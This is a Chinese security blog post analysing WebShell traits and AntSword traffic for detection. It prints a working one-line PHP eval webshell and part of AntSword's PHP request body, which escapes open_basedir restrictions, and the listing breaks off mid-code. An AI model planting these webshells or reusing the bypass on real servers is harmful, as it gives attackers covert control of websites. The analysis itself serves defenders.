WebShell 特征分析

WebShell 特征分析

作者:HaiCheng@助安社区,关注公众号领取学习路线和资料。

WebShell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp /jsp/php。主要用于网站管理,服务器管理,权限管理等操作。使用方法简单,只需要上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站的服务器的管理。

正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的,也可以将其称为一种网页后门

常见的一句话木马:

<?php eval($_POST['shell']); ?>

68394568592

蚁剑

Antsword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和或授权的安全研究人员以及网站管理员的需求。

github项目地址: https://github.com/AntSwordProject/antSword

蚁剑演示

68394757579

68394738849

成功入侵一个网站后,通常会将asp或者php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以到达控制网站服务器的目的

68394750558

静态特征

蚁剑官方提供制作好的后门:https://github.com/AntSwordProject/AwesomeScript

php中使用asserteval等命令执行:

68394870928

68394885270

通过create_function创建方法的方式来调用执行eval($_POST['ant'])

68394885270

asp使用的是eval命令执行:

68394950057

jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

68394968837

动态特征

使用一句话木马

<?php eval($_POST["shell"]); ?>

68395140849

每一个请求体都存在@ini_set("display_errors",“0”);@set_time_limit(0)开头。并且存在base64等字符相应包的结果返回格式为:** 随机数+结果+随机数**

68395147093

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
   
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
   
		if(!@is_writable($item)) {
   
			continue;
		}
		;
		$tmdir=$item."/.f5fe04b0758";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
   
			continue;
		}
		$tmdir=realpath($tmdir);
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
   
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
   
	return $out;
}
;
function asoutput() {
   
	$output=ob_get_contents();
	ob_end_clean();
	echo "3b5f"."064c";
	echo @asenc($output);
	echo "83c25"."58ff6f";
}
ob_start();
try {
   
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{
     $D}	";
	if(substr($D,0,1)!="/") {
   
		foreach(range("C",
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值